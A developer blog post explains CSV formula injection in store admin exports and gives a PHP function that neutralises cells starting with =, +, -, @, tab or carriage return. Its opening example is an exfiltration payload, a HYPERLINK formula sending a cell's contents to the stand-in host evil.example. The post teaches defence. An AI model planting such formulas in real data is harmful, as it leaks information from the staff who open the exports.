DEV Community

Robin Dhiman
Robin Dhiman

Posted on • Originally published at devrob.in

CSV injection: the export button that runs code on someone else's machine

A customer fills in their name. They type =HYPERLINK("http://evil.example/?leak="&A2,"click"). Your validation passes. It's just text, after all. Weeks later someone on your finance team exports the customer list to CSV, opens it in Excel, and that cell stops being text. It becomes a formula.

That's CSV injection. Also called formula injection. It's one of the most common bugs in e-commerce admin panels, and almost nobody tests for it.

Why a string turns into a formula

When a spreadsheet app opens a CSV, it doesn't treat every cell as plain text. If a cell starts with =, +, -, or @, Excel, LibreOffice, and Google Sheets all read it as the start of a formula.

So a field holding =1+1 shows 2. Harmless. But formulas do more than arithmetic. They can build a URL out of other cells and nudge the user into clicking it. On some setups they can reach out to the network. Older Excel could even launch external commands through DDE if the user clicked past the warnings.

The pattern is the same. Data your app stored as text becomes executable the moment a human opens the file. And the person who opens it is usually staff, the people with the most access.

Where this hides in a store

Anywhere you export user-controlled data:

  • Customer name and address exports
  • Order grids exported to CSV
  • Product feeds from third-party vendors
  • Contact form and newsletter dumps

The attacker never needs admin access. They set their own name, their company name, or a product title in a feed, then wait for someone on your side to export and open it.

The fix

Sanitize on the way out, when you write the CSV. Not on the way in. Input validation is the wrong layer here, because the value is legitimate text right up until a spreadsheet reads it.

If a cell value starts with =, +, -, @, a tab, or a carriage return, prefix it with a single quote:

function csvSafe(string $value): string
{
    if ($value !== '' && in_array($value[0], ['=', '+', '-', '@', "\t", "\r"], true)) {
        return "'" . $value;
    }
    return $value;
}
Enter fullscreen mode Exit fullscreen mode

The leading quote tells the spreadsheet "this is text," and the cell renders without it. Run every field through this before it reaches the file. That's the whole fix.

Two things people get wrong

Escaping in the database. Don't. The value is fine in your database, fine in your HTML where you already encode output, and dangerous only in a CSV. Guard it at the CSV boundary so you don't mangle the data everywhere else.

Trusting your own exports. The customer who set their name to a formula is attacking your staff, not your customers. "It's only an internal export" is exactly why it works.

CSV injection has no scary scanner alert and no CVE filed against your app. It just sits in the export button you shipped two years ago. Go look at what writes your CSVs. If nothing guards the first character of each cell, you have it too.

Top comments (0)